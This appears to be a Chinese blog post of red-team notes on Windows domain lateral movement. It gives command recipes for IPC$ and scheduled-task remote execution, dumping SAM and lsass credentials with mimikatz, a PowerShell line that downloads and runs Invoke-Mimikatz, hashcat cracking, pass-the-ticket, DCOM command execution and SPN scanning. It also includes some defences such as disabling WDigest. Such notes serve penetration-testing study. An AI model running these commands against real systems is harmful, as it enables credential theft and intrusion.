域内横向

0x01 常见windows远程连接和命令

1、IPC

net use \\192.168.0.100\IPC$ "password" /user:administrator

利用条件:

  • 开启139、445端口
  • 管理员开启了默认共享

常见错误号:

  • 5:拒绝访问
  • 51:网络错误
  • 53:找不到路径
  • 67:
  • 1219
  • 1326
  • 1792
  • 2242

2、windows自带工具

使用net use 建立IPC$后

dir \\192.168.0.100\c$
tasklist /S 192.168.0.100 /U administrator /P password

3、计划任务

at命令

Windows自带用于创建计划任务,主要用于win server 2008 之前版本

net time \\192.168.0.100        #查看远程主机系统时间
copy calc.bat \\192.168.0.100\C$        #使用copy将本地创建calc程序复制到远程主机C盘中
at \\192.168.0.100 6:00PM c:\calc.bat       #指定时间运行程序
at \\192.168.0.100 7 /delete        #这里的7要根据上一步中常见任务返回的计划任务ID来决定

schtasks命令

win Vista、win server 2008及之后版本将at替换的命令;更加灵活;

#在远程主机上创建名为“test”计划任务,该计划开机启动,启动程序为c盘下calc.bat,启动权限为System
schtasks create /s 192.168.0.100 /tn test /sc onstart /tr c:\calc.bat /ru system /f
#在远程主机上运行名为“test”计划任务
schtasks /run /s 192.168.0.100 /i /tn "test"

使用schtasks不需要输入密码,此前需建立IPC$,若没有IPC$,可以添加/u和/p参数

  • /u:用户名
  • /p:密码
  • /f :强制停止
删除计划任务
schtasks /delete /s 192.168.0.100 /tn "test" /f

此后需要记住删除IPC$

net use 名称 /del /y

使用schtasks命令,C:\Windows\Tasks\SchedLgU.txt留下日志文件。可配合IPC$执行文件,type命令查看执行结果。

0x02 windows系统散列值获取

LM Hash 和NTLM Hash

LM Hash DES加密 密码不足14位用0补全 win Vista和win server 2008之后默认禁用LM Hash

NTLM Hash MD4加密

1、GetPass

2、PwDump7

3、QuarksPwDump

QuarksPwDump.exe --dump-hash-local

4、SAM和System文件抓取密码

无工具导出SAM文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive

将导出来的system.hive和sam.hive文件放入和mimikatz同一目录,运行mimikatz

lsadump::sam /sam:sam.hive /system:system.hive

或者使用Cain读取

Cracker模块 选中“LM&NTLM”选项,单击加号按钮,选择“Import Hashes From a SAM databases” 导入SAM文件单击Next按钮。

或者使用mimikatz直接读取本地SAM文件,导出Hash信息(需要考虑免杀性)

priviliege::debug       #提升权限
token::elevate          #提升至system权限
lsadump::sam            #读取本地SAM文件

5、使用mimikatz在线读取SAM文件

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

6、使用mimikatz离线读取lsass.dmp文件

导出lsass.dump文件

在windows NT6中可以直接任务管理器运行Dump操作。

也可以使用procdump导出lsass.dmp文件

http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

该工具为微软官方工具

procdump.exe -accepteula -ma lsass.exe lsass.dmp

sekurlsa::mimidump lsass.dmp        #出现switch to minidump表示加载成功
sekurlsa::logonPasswords full       #导出散列值

7、使用powershell对散列值进行dump操作

管理员权限进入powershell环境进入Nishang,导入Get-PassHashes.ps1

Import-Module .\Get-PassHashes.ps1

8、使用Powershell远程加载mimikatz抓取散列值和明文密码

powershell IEX (New-Object Net.WebClient).DownloadString('http://Invoke-Mimikatz.ps1'); Invoke-Mimikatz

9、单机密码抓取防范

防止内存中明文显示密码,发布补丁KB2871997,关闭了Wdigest功能
win server 2012默认关闭Wdigest

reg add:

开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

powershell

开启Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

Hashcat获取密码

1、安装

https://github.com/hashcat/hashcat/archive/v5.1.0.zip

make       #编译
make isntall        #安装

2、使用

https://www.cnblogs.com/dgjnszf/p/11416671.html

使用语法:

hashcat.exe [选项] <哈希> <密码字典>

选项:

-m/--hash-type        哈希类型,如:-m 100 表示SHA-1哈希
-a/--attack-mode      攻击模式,如:-a 0 表示使用密码字典破解

哈希类型

900          MD4
0            MD5
100          SHA-1
10           md5($pass.$salt)
20           md5($salt.$pass)
3710         md5($salt.md5($pass))
2600         md5(md5($pass))
5500         NetNTLMv1
5600         NetNTLMv2
16500        JWT (JSON Web Token)
11           Joomla < 2.5.18
400          Joomla >= 2.5.18 (MD5)
400          WordPress (MD5)
7900         Drupal7
131          MSSQL (2000)
132          MSSQL (2005)
1731         MSSQL (2012, 2014)
300          MySQL4.1/MySQL5
15000        FileZilla Server >= 0.9.55
1000         NTLM
500          MD5 Unix $1$
7400         SHA256 Unix $5$
1800         SHA512 Unix $6$

攻击模式:

0      Straight(密码字典)
1      Combination
3      Brute-force(掩码)
6      Hybrid Wordlist + Mask
7      Hybrid Mask + Wordlist

内置掩码:

?l    表示小写字母(abcdefghijklmnopqrstuvwxyz)
?U    表示大写字母(ABCDEFGHIJKLMNOPQRSTUVWXYZ)
?d    表示阿拉伯数字(0123456789)
?s    表示特殊符号(!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~)

常见选项

-show 仅展示已破解
-o,-outfile=FILE 定义散列文件
-n,-threads=NUM 线程数
--remove 破解密码从散列值中移除
--segment-size 512 设置内存缓存大小,单位MB

1、使用密码字典破解 MD5 哈希

hashcat64.exe -m 0 -a 0 5ec822debe54b1935f78d9a6ab900a39 password.txt

2、使用密码字典对多个 MD5 哈希进行破解

hashcat64.exe -m 0 -a 0 md5_list.txt password.txt

3、已知明文密码为8位数字,使用掩码进行破解,?d?d?d?d?d?d?d?d 表示8位数字

hashcat64.exe -m 0 -a 3 3d9865a2843dcb59e7a6296c894732a4

?d?d?d?d?d?d?d?d
4、使用多个密码字典进行破解,只有 -a 0 模式支持多个密码字典

hashcat64.bin -m 0 -a 0 hash_list.txt dict1.txt dict2.txt dict3.txt

5、破解 Linux 系统账号密码

hashcat64.exe -m 500 -a 0 $1$hwMSTWOB$UKQfietZMJquuQq3S5FHe1 password.txt

6、破解 JWT(json web token)

hashcat64.exe -a 0 -m 16500 "E:/jwt.txt" "E:/password.txt"
hashcat64.exe -a 3 -m 16500 "E:/jwt.txt" ?h?h?h?h?h?h?h

在线破解网站

https://www.cmd5.com/

http://www.xmd5.com/

防范攻击者抓取明文和散列值

1、设置Active Directory 2012 R2

Windows Server 2012 R2新增名为“受保护的用户”用户组。
将需要保护的用户加入“Protected Users”全局安全组

2、安装KB2871997

该补丁用于 PsExec或IPC远程查看(C$)问题,本地账号不再被允许远程接入计算机。

但系统默认管理员账号Administrator SID 500例外。所以安装补丁后仍需禁用该账号。

3、注册表禁用内存明文存储密码

WDigest协议

关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0

注销后即可

查询该键值是否成功

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 

4、防御mimikatz

Debug权限确定哪些用户将调试器附加到任何进程或内核中。默认限定为管理员Administrator所有。

minikatz在抓取散列或明文时需要使用Debug权限(读取lsass进程)

测试

privilege::debug

0x03哈希传递

Pass The Hash 通过找到和账户相关的密码散列值(一般NTLM Hash)进行攻击

Windows Server 2012 R2之后版本,默认内存不会存储明文密码。

早期使用LM Hash验证,当密码大于或等于15位时无法使用LM Hash。

明文口令 通过API(如LsaLogonUser)转换散列值

0x04票据传递

票据传递不需要本地管理员权限 (Pass The Ticket,PTT)

内存中票据导出
mimikatz "privilege::debug" "sekurlsa::tickets /export"

清楚内存票据
kerberos::purge
windows自带命令也可以
klist purge
将票据文件注入内存
mimikatz "kerberos::ptt" "票据路径"

使用kekeo进行票据传递

https://github.com/gentilkiwi/kekeo

0x05 PsExec使用

该工具包含在PsTools中

https://download.sysinternals.com/files/PSTools.zip

通过管道在远程目标主机上创建一个psexec服务,并在本地磁盘生成一个名为“PSEXESVC”二进制文件,之后通过psexec服务运行命令,运行后删除服务。

metasploit中psexec模块

0x06 WMI使用

基本命令

impacket工具包中wmiexec

wmiexec.vbs

Invoke-WmiCommand

Invoke-WMIMethod

0x07 smbexec使用

C++版smbexec

impacket工具包中smbexec.py

linux跨windows远程命令

https://github.com/brav0hax/smbexec.git

安装

使用

0x08 DCOM远程系统使用

DCOM 分布式组件对象模型

1、本地DCOM执行命令

1、获取DCOM列表

Get-CimInstance这个cmdlet(powershell命令行)默认在Powershell 3.0版本存在,也就是说只在windows server2012及以上版本才有。

Get-CimInstance Win32_DCOMApplication

image
powershell 2.0可使用以下代替

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

image
2、DCOM执行任意命令
本地启动管理员权限powershell,执行以下命令

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","[host/hostname]"))
$com.Document.ActiveView.ExecuteShellCommand('[programpath]',$null,"[parameter]","Minimized")


$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

image

该方法使用ExecuteShellCommand运行程序,将“calc.exe”替换为恶意程序就可造成安全威胁。

2、DCOM远程执行命令

需关闭系统防火墙

1、通过ipc$连接远程计算机

net use \\[host] "[pass]" /user:"[user]"			#建立IPC$连接
net use					#查看连接记录

net use \\192.168.3.168 "admin!@#123" /user:0day.org\administrator

image
2、执行命令

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.3.168"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

image
image

调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"[host/hostname]")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("'[programpath]'","[parameter]","",$null,0)

image
image

“C08AFD90-F2A1-11D1-8455-00A0C91F3880” 是ShellBrowserWindow 的Class ID (CLSID)。

“9BA05972-F6A8-11CF-A442-00A0C90A8F39” 是ShellWindows  的Class ID (CLSID)。

0x09 SPN在域环境应用

服务主体名称(SPN:Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。

如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。

如果用一句话来说明的话就是SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN,如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

  • 当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
  • 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
serviceclass/host[:port] [servicename]

SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。和网络端口扫描相比不会触发内网IPS、IDS色号被规则告警。因为SPN查询时Kerberos票据行为的一部分。

PowerShell-AD-Recon

https://github.com/PyroTek3/PowerShell-AD-Recon

发现MSSQL服务:
Discover-PSMSSQLServers.ps1     发现MSSQL服务
Discover-PSMSExchangeServers.ps1    发现Microsoft Exchange服务
Discover-PSInterestingServices.ps1  扫描所有SPN信息

也可以使用自带命令

setspn -T domain -q */*
setspn -T domain -F -Q  */*
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

image

image

Kerberoast

https://github.com/nidem/kerberoast

https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/

0x10 Exchange邮件服务器

1、基本介绍

角色:

  • 邮件服务器
  • 客户端访问服务器
  • 集线传输服务器
  • 统一消息服务器
  • 边缘传输服务器

协议及端口

  • OWA
  • EAC
  • outlook anywhere
  • MAPI(MAPI-over-HTTP,MAPI/HTTP)
  • Exchange ActiveSync(EAS,XML/HTTP)
  • Exchange Web Service(EWS,SOAP-over-HTTP)

2、相关操作

Exchange服务发现

setspn -T test.com -F -Q */*

Exchange数据库后缀为.edb,为保证可用性,一般需要两台以上服务器。

posted @ 2020-07-03 21:14  Yg~  阅读(494)  评论(0编辑  收藏  举报